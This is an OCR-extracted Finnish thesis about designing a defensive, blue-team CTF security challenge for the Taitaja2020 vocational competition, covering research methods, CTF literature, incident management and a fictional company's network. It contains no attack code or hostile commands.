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1 Johdanto

1.1 Tyon taustat

Opinnaytetyon tarkoituksena oli suunnitella ja toteuttaa ammattiin opiskelevien Tai-
taja2020-kisoihin finaalitehtava tietoturvamoduuliin tietokoneet ja -verkot kategori-
aan. Taitajakisat ovat vuosittain jarjestettdvda ammatilliseen perustutkintoon opiske-
levien nuorten SM-kisat (Taitaja-tapahtuma n.d.). Opinndytetydssa suunniteltiin ja
toteutettiin tietoturvahaaste virtuaaliymparistond, jolla pyrittiin vastaamaan mahdol-
lisimman hyvin tieto- ja tietoliikennetekniikan pt. opetussuunnitelmassa esitettyja
osaamisvaatimuksia. Tietoturvapoikkeamiksi on valittu mahdollisimman realistisia ja
ajankohtaisia ilmi6ita, joita kyseisiin jarjestelmiin voisi kohdistua. Vastaavia opinnay-
tetoita ei ole aiemmin tehty. Tietoturvahaasteessa myds painotettiin tietoturvapoik-
keamien havainnointia. Useimmat tietoturvahaasteet on suunniteltu hyokkaajan na-
kokulmasta, joten nakoékulma tietoturvahaasteen suunnitteluun on myds uusi. Tar-
keimpana tutkimustavoitteena opinndytetyolla olikin kartoittaa ammattiin opiskele-

vien nuorten osaamista ja havainnointikykya tietoturvapoikkeamien parissa.

Teoriaosuudessa kdydaan lapi keskeisimmat tekniikat harjoituksen osalta, sekd myos
harjoituksessa esiintyvat tietoturvailmiot. Tydssa pyrittiin suunnittelemaan sopivan
haastava tietoturvahaaste ammattiin opiskeleville, joka vastaisi mahdollisimman hy-
vin todenmukaista tilannetta. Haasteessa ei ole tarkoituksena pyrkia estamaan tieto-
turvapoikkeamaa vaan pyrkia havainnoimaan tietoturvapoikkeamaa ja saada kilpaili-
jat ymmartamaan kyseisia tietoturvailmioita. Haasteessa on pyritty asettamaan teh-
tavapisteet, siten ettd ne kuvastaisivat mahdollisimman hyvin IT-tukihenkilon tyéteh-
tavia ja osaamistasoa. Haasteen virtuaaliymparistda on rajattu ja kuvattu pienen yri-
tyksen olennaisimmat sisdiset palvelut ja ulkoiset palvelut, kuten toimialueen hake-

mistopalvelut ja verkkosivut.



Toimeksiantaja

Toimeksiantajana tyolle toimi Jyvaskylan ammattikorkeakoulun (JAMK) IT-instituutin
lehtori Karo Saharinen. IT-instituutti on osa JAMKin teknologiayksikkoa. JAMKin tek-
nologiayksikdssa opiskelee noin 2700 opiskelijaa. Teknologiayksikdssa tyoskentelee
noin 170 tyontekijaa koulutuksen, palveluliiketoiminnan ja TKI-toiminnan parissa.
Tieto- ja viestintatekniikan tutkinto-ohjelma on saanut kansainvalisen EUR-ACE

Bachelor -laatuleiman. (Teknologiayksikko n.d.)

Taitajakisat

Taitajakisa on vuosittain jarjestettava ammattitaidon SM-kilpailut ammattiin opiske-
leville nuorille. Vuoden 2020 semifinaaleihin osallistui tammikuussa valtakunnallisesti
Iahes 1500 kilpailijaa. Naista 1500 kilpailijasta noin 350 kilpailijaa kilpailee Tai-
taja2020-finaalissa Jyvaskylassa 11.-14.5.2020. Taitaja2020-tapahtumaan odotetaan
saapuvan noin 40 000 kavijaa. (Taitaja2020 2020.)

Kategoriaan 205 Tietokoneet ja -verkot osallistuu kahdeksan kilpailijaa. Kategoriat

koostuvat useista eri tehtavista ja tehtdvien suorittamiseen on varattu aikaa keski-
maarin 4 tuntia. Tehtavien arvioinnissa kaytetdan CIS-jarjestelmaa. CIS eli Competi-
tion Information System on Hameenlinnan ammattikorkeakoulussa kehitetty piste-
laskujarjestelma, joka on myds ollut kdytdssa kansainvalisissa kilpailuissa (Vaahtera

2014.). Suunnitellussa tietoturvahaasteessa kaytetaan maarallista arviointia.

Kisailijoiden lahtokohdat

Opetushallituksen maarayksessa tieto- ja tietoliikennetekniikan perustutkinnosta tie-
tokone- ja tietoliikenneasennukset osiossa maaritelladan ammattitaitovaatimuksiksi
monia asioita. Opiskelijan tulee muun muassa osata ottaa kdyttoon tietokoneen suo-
jaus- ja lisdominaisuudet, hallita asennusten automatisoinnin, tietoturvan seka var-
mennukset. Opiskelijan tulee myds osata paikallistaa ja korjata laitteisto- ja ohjel-

misto-ongelmia. (OPH M:84/011/2014, 65.)

Ammattikoululaisten tulisi siis ainakin ammattitaitovaatimusten perusteella olla jok-

seenkin perehtyneita tietoturvaan seka pystyvan paikallistamaan ohjelmisto- ja lait-
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teisto-ongelmia. Opetushallituksen maarayksessa ei listata selkeitd osaamisvaatimuk-
sia juuri tietoturvan suhteen. Opiskelijalta ei siis sovi odottaa kovin syvallista osaa-
mista. Voidaan kuitenkin olettaa, etta opiskelijat ymmartavat perustietoturvailmiot,

kuten haittaohjelmat ja niiden perusperiaatteet.

1.2 Tutkimuskysymykset ja -menetelmat

Tutkimuksessa kaytettiin kehittamistutkimuksen menetelmia. Tarkoituksena oli suun-
nitella tietoturvahaaste virtuaaliymparistona. Virtuaaliymparistolla mitattiin kilpaili-
joiden taitoja ja tietdamysta tietoturvan ja tietoturvailmididen suhteen. Virtuaaliym-
paristoa oli tarkoitus kayttdaa Taitaja2020-kisoissa. Taitaja2020-kisoista kertyi aineis-
toa tutkimukseen. Aineistoa analysoitiin kvantitatiivisesti seka kvalitatiivisesti. Kes-

keisina tutkimuskysymyksina ty®ssa olivat:

Miké on kilpailijoiden taso havainnoida tietoturvapoikkeamia suljetussa ympdris-

tossa?

Toimiiko CTF-harjoitus kiinnostavana tapana tutustua ja tutkia tietoturvapoikkeamia

ja parantavatko ne kdsitystd tietoturvapoikkeamista?

Lisaksi tutkimuskysymyksia taydentavat seuraavat alakysymykset:

Kykeneviitké kilpailijat asettamaan harjoituksen tapahtumat aikajdrjestykseen?

Kokevatko kilpailijat tietoturvaopetuksen koulussa riittévdksi?

Tutkimuskysymyksiin vastattiin analysoimalla tietoturvahaasteeseen osallistuneiden
kilpailijoiden tuloksia. Kilpailijoille toteutettiin myos palautekysely, jonka avulla saa-
tiin vastauksia tutkimuskysymyksiin. Tuloksia analysoitiin kokonaisvaltaisesti ja tehta-
vakohtaisesti. Saatuja tutkimustuloksia tuettiin aiemmilla tutkimustuloksilla. Tutki-
muskysymyksiin saatiin myos vertailukohta AMK-opiskelijan suorituksesta. AMK-
opiskelija toimi tietoturvahaasteen testihenkiléna, jonka avulla kartoitettiin mahdolli-

sia ongelmakohtia tietoturvahaasteessa.



Kehittamistutkimus

Kehittamistutkimus pyrkii tuottamaan toimivia kdytannon ratkaisuja. Kehittamistutki-
muksessa yhdistyy kehittdminen ja tutkimus syklisessa prosessissa. Kehittamistutki-
mus koostuu useista eri tutkimusmenetelmista, joita kdytetaan riippuen tutkimuson-
gelmasta ja kehittamiskohteesta. Kehittamistutkimus on monimenetelmainen tutki-
mustapa, jossa yhdistyy tarpeen mukaan laadulliset ja maaralliset tutkimusmetodit.

(Kananen 2015, 33-34.)

Kvantitatiivinen tutkimus

Kvantitatiivista tutkimusta kutsutaan myos maaralliseksi tutkimukseksi tai tilastol-
liseksi tutkimukseksi. Kvantitatiivisen tutkimuksen avulla selvitetaan lukumaariin ja
prosenttiosuuksiin liittyvia kysymyksia. Tutkimuksessa onkin tarkeda ottaa huomioon
otannan suuruus ja sen edustavuus. Aineistonkeruussa kaytetaan yleensa standardoi-
tuja tutkimuslomakkeita valmiine vastausvaihtoehtoineen. Asioita kuvataan numee-
risten suureiden avulla ja tuloksia havainnollistetaan yleensa erilaisin kuvioiden ja
taulukoiden avulla. Kvantitatiivisen tutkimuksen yhteydessa usein tutkitaan myos asi-
oiden valisia riippuvuuksia. Kvantitatiivisen tutkimuksen avulla saadaan yleensa kar-

toitettua olemassa oleva tilanne. (Heikkila 2014, 15.)

Ty6ssa tutkittiin harjoituksen suorittavien kesken, mika on kilpailijan suoritusaika,
pistekeskiarvo, mediaani ja mille skaalalle osanottajien pisteet levittaytyvat. Yksittai-
silla tehtavapisteiden tai flagien sijoittamisella taas pyrittiin kartoittamaan osaamisti-

lannetta erilaisten tietoturvapoikkeamien havainnoinnin suhteen.

Kvalitatiivinen tutkimus

Kvalitatiivinen eli laadullinen tutkimus pidetdaan usein kvantitatiiviseen tutkimukseen
rinnastettavana sosiaalitutkimuksen metodina. Laadullisen ja maarallisen tutkimuk-
sen metodit kuitenkin eroavat toisistaan. Vaikkakin nama kaksi tutkimusmetodia
eroavat toisistaan, ei niiden erottaminen toisistaan vastaa hyvin todellisuutta. Kai-
kessa tieteellisessa tutkimuksessa on paljon yhteisia pyrkimyksia, kuten pyrkimys loo-

giseen todisteluun ja objektiivisuuteen. Kvalitatiivisen ja kvantitatiivisen analyysin voi
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erottaa toisistaan, mutta niitd voidaan myos soveltaa yhdessa saman tutkimusaineis-
toon. Laadullista ja maarallista tutkimusta voidaankin pitaa toistensa jatkumoina eika

poissulkevina vaihtoehtoina. (Alasuutari 2011, 26-28.)

Laadullisessa analyysissa ainestoa tarkastellaan usein kokonaisuutena. Laadullisessa
analyysissa tilastolliset todennakoisyydet eivat kelpaa johdatteluiksi. Kvalitatiivisessa
tutkimuksessa tutkimuksen suuri joukko tai tilastollinen argumentointi ei ole tarpeen
taikka edes mahdollista. Laadullinen analyysi koostuu kahdesta osuudesta: havainto-
jen pelkistamisesta ja arvoituksen ratkaisemisesta. Havaintojen pelkistamisessa ai-
nestoa tarkastellaan tietysta teoreettisesta nakokulmasta. Silloin kiinnitetdan huo-
miota siihen, mika on oleellista teoreettisen viitekehyksen kannalta. Arvoituksen rat-
kaisemisella tarkoitetaan puolestaan tulosten tulkintaa, laadullisen tutkimuksen tu-
loksia tulkitaan etsimalla esimerkiksi mahdollisia yhteyksia tilastollisen tutkimuksen

tuloksiin. (Mts. 31-33, 35.)

Opinndytetyossa tutkitaankin ainestoa hyédyntaen myds laadullisen tutkimuksen
menetelmia tilastollisen tutkimuksen menetelmien lisdksi. Maarallisen tutkimuksen
lisdksi aineistosta tehtiin havaintoja keskeisista asioista teoreettisen viitekehyksen
suhteen, seka pyrittiin havaitsemaan yhteyksia maarallisen tutkimuksen ja laadullisen

tutkimuksen valilla.

Aineistonkeruumenetelmat

Laadullisen tutkimuksen aineistona toimivat erilaiset dokumentit, haastattelut ja ha-
vainnoinnit. Maarallisen tutkimuksen tiedot pohjautuvat tilastoihin ja kyselylomak-
keisiin. (Kananen 2017, 67.) Kysely koostuu kysymyksistd, jotka koskevat tutkimusil-
miota. Kysely voidaan toteuttaa milla metodilla tahansa, on kuitenkin tarkeda saada
edustava vastausjoukko kyselylla. (Kananen 2015, 96—97.) Tutkimuksen aineisto ke-
rattiin hyodyntden laadullisen ja maarallisen tutkimuksen aineistonkeruumenetel-
mia. Tutkimuksessa kerattiin tietoturvahaasteen suorittavilta kilpailijoilta palauteky-
selylla mielipiteitd ja tuntemuksia tietoturvahaasteen vaikeuteen ja kiinnostavuuden
suhteen. Kyselylla tutkittiin myos kilpailijoiden kykya tunnistaa tietoturvahaasteessa

esiintyvat tietoturvapoikkeamat, seka kilpailijoiden kykya asettaa tietoturvahaasteen
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tapahtumat aikajarjestykseen. Tietoturvahaasteeseen osallistuneiden suoritukset ti-

lastoitiin ja analysoitiin kayttaen maarallisen tutkimuksen menetelmia.

Aineistonanalyysimenetelmat

Tutkimustulosten analysoinnissa kaytettiin laadullisen ja maarallisen tutkimuksen
keinoja. Palautekyselya tutkittiin laadullisen analyysin lahiluku metodilla. Lahiluvulla
tarkoitetaan kirjallisten tekstien analyysia ja tulkintaa (Léhiluku 2015.). Erotteluana-
lyysia kdytetdan aineiston analyysissa silloin, kun on olemassa jokin ryhmitteleva
muuttuja. Ryhmittelyanalyysin avulla pyritdaan maarittelemaan millaisia samaan ryh-
maan kuuluvat ovat. (Kananen 2015, 109-110.) Tutkimuksen ryhmitteleva tekija oli

kilpailijan tietoturvaosaaminen, eli kuinka hyvin kilpailija parjaa tietoturvahaasteessa.

1.3 Capture the flag -harjoitukset

CTF eli Capture the flag -harjoitukset ovat eraanlaisia tietoturvakilpailuita. CTF-
harjoituksiin voidaan osallistua joko ryhmissa tai yksildina riippuen kilpailusta. CTF-
harjoitukset ovat usein ensimmainen kosketuspinta kyberturvallisuusuraan juuri ryh-
matyoskentelyn ja kilpailuasenteen vuoksi. Aihealueita CTF-harjoituksissa voivat olla
esim. forensiikka, kryptografia, web-haavoittuvuuksien hyédyntaminen, takaisinmal-
linnus (reverse engineering) tai bindaaritason haavoittuvuuksien hyédyntaminen. (CTF

101 n.d.)

Google jarjestaa vuosittain CTF-harjoituksen, joka koostuu useista erilaisista tietotur-
vailmioista, kuten kryptografiasta ja web-tekniikoista. Tavoitteena osallistujilla on ke-
rata harjoituksesta tehtavapisteita eli lippuja. Googlen mukaan CTF-harjoitukset ovat
hyvaksi muun muassa ammattilaisille, jotka pyrkivat yllapitaman ja kehittamaan
omaa ammattitaitoaan, mutta ne ovat mielenkiintoinen ldhestymistapa myos vasta-

alkajille. (Google CTF 2019.)

Collegiate Cyber Defense Competitionin (CCDC) tarkoituksena on tarjota eri instituu-
teille kilpailuymparisto tietoturvaan liittyen. CCDC:n ymparistot on suunniteltu arvioi-

maan opiskelijan ymmarrysta tietoturvailmitiden parissa, seka kyvykkyytta hallita yri-
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tyksen verkkoinfrastruktuuria. CCDC-tapahtumien tavoitteena on tarjota korkeakou-
luille tyokalu, jolla korkeakoulut voivat mitata omia tietoturvakoulutusohjelmiaan.
Naissa harjoituksissa pyritdan yhdistamaan kursseilla opitut teoriat ja kdytannon tai-
dot, seka mitata niitd. Tapahtumien tavoitteena on myds herattaa kiinnostusta ja tie-
toisuutta koulujen ja opiskelijoiden valilla. CCDC:n harjoitusymparistot ovat kooltaan
noin 50 tyontekijan yrityksia, joilla on verkkoinfrastruktuurissaan noin 7-10 palve-
linta. Palvelimilla toimii useita eri palveluita, kuten yrityksien verkkosivut. CCDC-
tapahtumissa eri tiimit saavat identtiset ymparistot ja heidan tavoitteenansa yllapi-
taa yrityksen palveluita. Tiimien tavoitteena on myos havaita ja reagoida yritykseen

kohdistuviin tietoturvauhkiin. (CCDC mission 2019.)

CTF-harjoituksia pidetaan yleisesti hyvana lahestymistapana tietoturvaan ja keinona
havainnollistaa tietoturvauhkia kilpailijoiden keskuudessa, seka mitata yksildiden

osaamista tietoturvailmididen parissa.

Tutkimustuloksia tietoturvahaasteista

Vuonna 2017 Teksasin yliopistossa tehdyn tutkimuksen mukaan kyberturvallisuuskil-
pailut saavat vuosittain enemman huomioita merkittavana tapana edistaa kybertur-
vallisuuden opiskelua. Tutkimuksen mukaan on elintarkeda etsia parempia keinoja
saada vasta-alkajat mukaan tietoturvakoulutuksen laadun parantamiseen. Tutkimuk-
sen mukaan CTF-harjoituksia jarjestetaan opetusmielessa, harjoitusmielessa seka
rekrytointien yhteydessa. Tutkimuksessa kerattiin noin 3600 eri CTF-haastetta 160 eri
tietoturvakilpailusta. Tutkijat rakensivat oman CTF-haasteen opiskelijoille, ja haas-
teen sisalto sai positiivista palautetta. Haasteessa oli eritasoisia haasteita kuudesta
eri kategoriasta: kryptografia, web-haavoittuvuudet, takaisinmallinnus, forensiikka,
pwn eli erilaisia haittaohjelmia ja sekalaiset haasteet. Tutkimuksen kohderyhma
koostui 46 opiskelijasta, joille kasitteet ja tekniikat olivat jossain maarin tuttuja. Vain
8% oppilaista selviytyi haasteesta omatoimisesti. Tutkimuksessa keskityttiin hyokkaa-
jan nakokulmaan, eikd puolustavan osapuolen ndkékulmaan. (Burns, Gu, Jordan, Rios

& Underwood 2017.)

Vuonna 2015 Tom Chothia ja Chris Novakovic tutkivat kuinka erdan kurssin harjoitus-

tyona toiminut CTF-harjoitus korreloituu opiskelijan muihin suorituksiin kurssilla.
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Kurssin harjoitustyona toimineesta haasteesta paljastettiin viikoittain pienempia osa-
haasteita opiskelijoille ratkaistavaksi. CTF-harjoitus koostui useista eri aihealueista
kuten kryptologiasta ja web-haavoittuvuuksien l6ytamisesta. Tuloksista huomattiin
oppilaiden kokeneen kurssin harjoitustyon haastavana, mutta kiinnostavana tapana
tutkia harjoituksen tietoturvailmi6ita. Tuloksissa huomattiin myos, etta opiskelijoiden
[6ytamien lippujen maara, eli osaaminen CTF-harjoituksessa korreloitui vahvasti opis-

kelijan osaamiseen teoriaosuudessa. (Chothia & Novakovic 2015.)

Tutkimusten perusteella tietoturvahaasteet toimivat myds hyvin kurssien harjoitus-
toina. Tietoturvahaasteita voidaan myos kadyttaa rekrytointikeinona ja ne koetaan
usein haastavina ja kiinnostavana keinona lahestya tietoturvaa. Usein tietoturvahaas-
teet keskittyvat haavoittuvuuksien I6ytamiseen, eika niinkdaan puolustavan osapuolen

nakokulmaan eli tietoturvapoikkeamien havainnointiin.

Harjoitusten dokumentointi

Kyberharjoituksista saatu tieto tulisi aina dokumentoida. Harjoituksissa opittujen asi-
oiden tulisi pyrkia ottamaan huomaan kilpailijoiden erilaiset |lahestymistavat harjoi-
tuksessa. Harjoituksen tulokset paljastavat usein hyvin toimivat osastot organisaa-
tiossa, seka organisaation mahdolliset puutteet tietoturvan suhteen. Harjoituksen ai-
kana ja sen jalkeen keratty palaute on arvokasta tietoa, jolla pystytdaan kehittamaan
kyberharjoituksia ja parantamaan harjoituksien hyodyllisyytta. Tarkeaa harjoituksissa

on maarittaa selkeasti harjoituksen tavoitteet. (Kick 2014, 20.)

1.4 Tietoturvapoikkeamat ja niiden hallinta

Tietoturvapoikkeama

Tietoturvapoikkeamaksi kutsutaan sellaista tapahtumaan, jossa on tapahtunut mah-
dollinen tietomurto tai tietoturvakontrollit ovat pettdneet. Tietoturvapoikkeama voi
olla yksittdinen tai useiden tapahtumien sarja, jossa tapahtumat vastaavat aiempaa
kuvausta ja kyseiset tapahtumat voivat mahdollisesti vahingoittaa yrityksen omai-
suutta tai vaarantaa sen toimintaa. Tietoturvapoikkeaman ilmeneminen ei valtta-
matta tarkoita, etta yritykseen kohdistunut hydkkays on ollut onnistunut tai etta silla

olisi ollut vaikutusta yrityksen luotettavuuteen (confidentiality), eheyteen (integrity)
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tai saatavuuteen (accessibility), kaikkia tietoturvatapahtumia ei siis luokitella tieto-

turvaselkkaukseksi. (ISO/IEC 27035-1 2016, 2.)

Tietoturvaselkkaukset voivat olla tahallisia, kuten esimerkiksi tietoturvahydkkayksen
kohteena oleminen. Selkkaukset voivat myds olla tahattomia tapauksia, kuten inhi-
milliset erheet tai luonnonkatastrofit. Selkkauksien syntypera voi olla joko tekninen,
kuten haittaohjelmat tai sitten ei-tekninen, kuten varkaus tai laitteen katoaminen.
Seuraamuksina tietoturvaselkkaukselle voi olla tietojen luvaton kayttd, muokkaus,
tuhoaminen tai saatavuuden haittaaminen. Seuraamuksena voi myos olla yrityksen

omaisuuden vaurioituminen. (Mts. 2.)

Tietoturvapoikkeamien hallinta

Tietoturvapoikkeamien hallintasuunnitelman tarkoituksena on pyrkia dokumentoi-
maan kaikki aktiviteetit ja proseduurit mahdollisten tietoturvapoikkeamien ja haa-
voittuvuuksien suhteen, seka tietoturvapoikkeaman aikana tapahtuneen kommuni-
koinnin. Yleisesti ottaen suunnitelman tulisi sisaltaa selkeat toimintatavat tietoturva-
poikkeamien ja -selkkauksien hallintaan, tarvittavat tyokalut tapahtumien havain-

nointiin. (ISO/IEC 27035-2 2016, 6-7.)

Tietoturvapoikkeamiin reagoimisessa tulisi pyrkia pitamaan mahdollinen selkkaus
hallinnassa ja samalla pyrkida maarittamaan onko tapauksella vaikutusta yrityksen
tuottamiin palveluihin. Poikkeaman sattuessa tulisi varmistaa, etta kaikki todisteet on
identifioitu, keratty ja varastoitu oikein. Todisteita kerdataan myohempaa analyysia
varten. Jokaisesta tietoturvapoikkeamasta tulisi oppia jotain. Tutkimalla todisteita ja
tapahtumien aikajanaa tulisi pyrkida parantamaan yrityksen tietoturvakaytanteita ja

tarvittaessa myos tietoturvapoikkeamien hallintaa. (Mts. 11.)

Digital Forensics and Incident Response (DFIR) -harjoituksessa osallistujat tutkivat
ymparistoon kohdistunutta tietoturvapoikkeamaa. DFIR-harjoitus on suunniteltu eri-
tyisesti teknisille asiantuntijoille, IT-paallikoille ja tietoturvapaallikoille, jotta organi-
saatioissa opittaisiin tunnistamaan paremmin tietoturvapoikkeamien eri indikaattorit

ja reagoimaan niihin paremmin. (Digital Forensics and Incident Response exercise
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2020.) Blue team CTF -harjoituksessa keskitytddan uhkatoimijoiden toiminnan |6ytami-
seen pelillistetyssa ymparistossa. Harjoituksessa on tarkoituksena etsia hyokkaajan
jattamat digitaalisesta todisteet ja koostaa hyokkadjan toimista aikajana. Harjoituk-
sen jalkeen skenaario kdaydaan lapi, jotta harjoitukseen osallistujat oppisivat [6yta-
maan paremmin hyokkadjien jattamat jaljet harjoitusymparistosta. (Blueteam Cap-

ture the Flag, 2020.)

Tietoturvapoikkeamien havainnointi ja niiden dokumentointi on tarkeaa, jotta ole-
massa olevia kaytanteita ja tietoturvapoikkeamien havainnointia voidaan yrityksissa
parantaa. Hyvin dokumentoidun tietoturvapoikkeaman avulla yritykset pystyvat ke-
hittamaan omaa tietoturvaansa. Tietoturvahaasteen skenaario suunniteltiin Blue
team CTF-harjoituksena, jossa kilpailijat pyrkivat havaitsemaan ymparistosta tietotur-

vapoikkeamat ja hyokkaajan jattamat jaljet.

2 Virtuaaliympariston suunnittelu

Tietoturvahaasteeseen suunniteltiin kuvitteellinen yritys. Kyseiselle kuvitteelliselle
yritykselle suunniteltiin opetushallituksen maarayksen mukaisten osaamisvaatimus-
ten perusteella verkkoinfrastruktuuri, jossa oli tarkoituksena havainnoida tietoturva-
haasteen tietoturvapoikkeamia. Opetussuunnitelmassa olevien vdhaisten tietoturva-
vaatimusten vuoksi virtuaaliymparist6a ja skenaariota suunniteltiin verkkoinfrastruk-

tuuri edella.

2.1 Tieto- ja tietoliikennetekniikan perustutkinnon osaamisvaatimukset

Tieto- ja tietoliikennetekniikan perustutkinnon palvelinjarjestelmat ja projektityot
osuudessa madaritelldan opiskelijan ammattitaitovaatimuksiksi mm. palvelimien verk-
kokayttojarjestelmien asennuksen ja paakayttdjan perustehtavat, seka hakemistopal-
veluiden toimintaperiaatteet. Osaamistavoitteissa myos listataan palvelimien perus-

palvelut, kuten nimipalvelut (DNS) ja dynaamisten verkkoasetusten jakelun ja hake-
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mistopalveluiden hallitseminen. Samaisessa kokonaisuudessa mainitaan myos ryh-
makaytantdjen (Group Policy) avulla kayttdja-, tietokone- ja ohjelmistoasetuksien
hallitseminen. Opiskelijan tulisi myds hallita WWW- ja FTP-palvelut, seka palvelimien

etikayton. (OPH M:84/011/2014, 40.)

Harjoituksen suunnittelussa pyrittiin vastaamaan mahdollisimman hyvin opetushalli-
tuksen maarayksessa esitettyihin osaamisvaatimuksiin. Ymparistossa toimiikin Win-
dows Server 2012 R2 toimialueen paapalvelimena ja sen keskeisina palveluina toimii
DNS, DHCP ja AD -palvelut. Tietoturvahaasteessa kilpailija asetetaan paakayttajan
rooliin ja han vastaa mainittujen palveluiden turvallisuudesta ja toimivuudesta. Haas-
teymparistoon on myos lisatty sisaverkkoon tiedostopalvelin, jolla voidaan hyddyn-
taa FTP-protokollan kayttod. DMZ-alueelle (demilitarized zone) on lisdatty myds web-

palvelin, jota hallitaan SSH-yhteyden avulla, seka web-kayttéliittyman kautta.

Varsinaisia tietoturvaosaamisvaatimuksia ei opetushallituksen maarayksessa sivuta
kuin muutamilla selkeilla vaatimuksilla kuten, etta opiskelija hallitsee palvelimien pe-
rus tietoturva-asiat (kuten salasanojen kaytto, tiedostojen suojaus ja palomuuri).
Osaamisvaatimuksina on myos virustorjunta- ja haittaohjelmien poisto-ohjelmiston
asentaminen palvelimiin, seka suojatun etdayhteyden kayttaminen palvelimiin. (OPH

M:84/011/2014, 40.)

Haasteymparistéon ei ole asennettu palvelimille erillisia virustorjuntaohjelmistoja.
Tarkoituksena oli tehda haavoittuvainen ymparisto, jossa mahdollisia tietoturvapoik-
keamia pystytaan havainnoimaan ja analysoimaan. Tiedostojen suojaaminen on kes-
keinen asia haasteymparistossa. Arkaluonteiset tiedostot, kuten tuotesuunnittelua
koskevat tiedostot halutaan pitaa yrityksen sisalla ja estdd mahdolliset tietovuodot.
Salasanojen hallinnointi haasteymparistéssa on varsinaisen loppukayttdjan (esim. toi-
mistotyontekija) vastuulla. Yrityksen sisdverkko eristettiin ulkoisesta verkosta palo-
muurilla. Harjoitusympariston palvelimia hallittiin padosin suojatun SSH-yhteyden

avulla.
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2.2 Kuvitteellisen YritysX:n kuvaus

2.2.1 Yrityksen toimiala ja organisaatiorakenne

YritysX on kuvitteellinen yhtio, joka tuottaa tehtaallaan vinyylilevyja. YritysX:n vuosit-
tainen liikevaihto vuonna 2018 oli noin 1,5miljoonaa euroa. Yritys tyollistda 12 henki-
163. Avainhenkil6ita yrityksessa on toimitusjohtaja Pekka Aikamies, henkilostopaal-
likkd Tanja Turkulainen, IT-paallikké Santeri Suomalainen ja tuotantopaallikkd Timo
Saarinen. Yritys on jaettu kolmeen osastoon HR-osasto, tuotanto ja IT-osasto (ks. ku-

vio 1).

YritysX Organisaatirakenne

Toimitusjohtaja
Pekko Aikamies

Tuotantopaallikki
Timo Saarinen

[T-paallikd
Santeri Suomalainen

Henkilbstdpaallikkd
Tanja Turkulainen

“ o

A N

‘ IT tukihenkild ‘

Laskentasihteeri Toimistotydntekija Tuotantotyontekijat

Kuvio 1. YritysX:n organisaatiokaavio

HR-osasto
Toimitusjohtaja vastaa yrityksen suurista linjoista ja hoitaa padosin markkinointi- ja
myyntitehtavia yrityksessa. Henkilostopaallikon alaisuudessa on laskentasihteeri ja

yksi toimistotyontekija. Yrityksen laskentasihteeri hoitaa yrityksen palkanlaskennan
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ja muun maksuliikenteen. Henkilostopaallikko toimii ensisijaisena esimiehena toimis-
totyontekijalle ja laskentasihteerille ja on myds vastuussa yleisesti henkiloston hyvin-
voinnista. Toimistotyontekija hoitaa toimistonjuoksevia asioita, kuten tiedottamista

ja myyntia asiakkaiden suuntaan.

Tuotanto

Tuotantopaallikkd Timo Saarisen alaisuudessa on viisi tuotantotydntekijaa. Tuotanto-
paallikko vastaa asiakkaalle tuotetuista levyista. Tuotanto-osasto tuottaa paivittain
raportteja yrityksen johdolle tuotantovolyymeista ja tuotantolaadusta. Raporteilla
pyritdan analysoimaan tehtaalle tulevien tilausten toimitusaikoja ja mahdollisia on-

gelmakohtia tuotannossa.

IT-osasto

IT-osasto koostuu kokonaisuudessaan IT-paallikosta ja yhdesta IT-tukihenkilosta. 1T-
tukihenkilon tyotehtavina on yllapitaa toimialueen palveluita, toimia apuna loppu-
kayttajille, vastata tydasemien toimivuudesta, seka yllapitaa ja kehittda toimialueen
tietoturvaa IT-paallikon kanssa. IT-paallikko vastaa yrityksen IT -strategiasta ja -hank-
keista. IT-paallikkd on myo6s viimeisena vastuussa yrityksen tietoturvasta. IT-paallikon
tyotehtaviin kuuluu myos yrityksen johdon ja hallitukselle raportoiminen mahdolli-

sista puutteista ja hankkeista IT-infrastruktuurissa.

2.2.2 YritysX:n verkkoinfrastruktuuri

Virtuaaliymparistosta jatettiin pois ylimaaraiset tydasemat. Virtuaaliymparistoon jai
kaksi tybasemaa, joista toisella kuvattiin toimistoympariston tydasemia ja toisella
tuotantoympariston tydasemia. Tuotantotydntekijoiden kdytossa olevalla tyoase-
malla luodaan raportteja tuotannosta ja raportit siirretaan tiedostopalvelimelle. Tie-
dostopalvelimelle on luotu oma tiedostojako, jonne tuotantoraportit ladataan paivan

paatteeksi.

Haasteessa tuotantoymparistossa sijaitsevia tydasemia mallinnettiin Tyasemalla 1.
Tybasemalla 2 puolestaan mallinnettiin toimistotyontekijan tydasemaa. Tydasemat

saavat IP-osoitteet verkkotopologiassa olevalta Windows 2012 R2 DC-palvelimelta,
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jossa toimii DHCP osoitteessa 192.168.0.10. Tiedostopalvelimena ymparistdssa toimii
Ubuntu Server 16.04. Tiedostojako palvelimella toteutettiin Samban avulla osoittee-
seen 192.168.0.11. Palomuurina ymparistossa toimii pfSense 2.4.4, joka toimii sa-
malla myos default gatewayna ymparistossa. Palomuurilla on kolme verkkorajapin-
taa, LAN sisdaverkkoa kohden osoitteella 192.168.0.1/24, WAN rajapinta Internetia
kohden osoitteella 10.10.10.1/24 ja DMZ-verkkorajapinta 192.168.99.1/24 osoit-

teella. (ks. kuvio 2).

IP 192.168.1.11 IP 192.168.1.10 IP 192.168.99.10
< 00 L

Web palvelin

AD/IDNS/IDHCP LAMP | Wordpress
palvelin Ubuntu 16.04

Ws2012 I 1L I 1L

.| | —

— |—

O =

:|:| ,ﬂi mm Internet
—

FWw
pfSense 244
IPlan 192.168.1.1/24

IP DMZ 192.168.99.1/24
IP WAN 10.10.10.1/24

Tiedostopalvelin
Samba
Ubuntu 16.04

lan 192.168.1.1/24

-\ Y
Tybasema 1 Tybiasema 2
Windows 7 Windows 7

IP DHCP IP DHCP

Kuvio 2. Harjoitukseen rajattu YritysX:n infrastruktuuri
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3 Harjoituksessa kaytetyt tekniikat

3.1 Active Directory hakemistopalvelu ja kayttajatietokanta

Active Directory on Microsoftin luoma hakemistopalvelu, joka koostuu useista palve-
luista, jotka toimivat Windows Server -alustalla. Active Directorya kaytetaan hallin-
noimaan oikeuksia ja padsya verkkoresursseihin. AD tallentaa dataa objekteina. Ob-
jekti on yksittdinen elementti, kuten kayttaja, tydasema, palvelin tai esim. verkkotu-
lostin. Objektit voidaan jakaa kahteen pdaryhmaan, joko resursseiksi (tydasemat, tu-
lostimet yms.) tai tietoturvakaytanteiksi, kuten kayttajat ja kayttajaryhmat. (Active

Directory 2018.)

Toimialuepalvelu Active Directory Domain Services

Active Directoryn keskeisena palveluna toimii Domain Services (AD DS). DS tallentaa
hakemistotietoja ja kasittelee kayttdjan vuorovaikutusta domainin eli toimialueen
kanssa. AD DS tarkistaa paasyn, kun kayttaja kirjautuu laitteeseen tai yrittdd muodos-
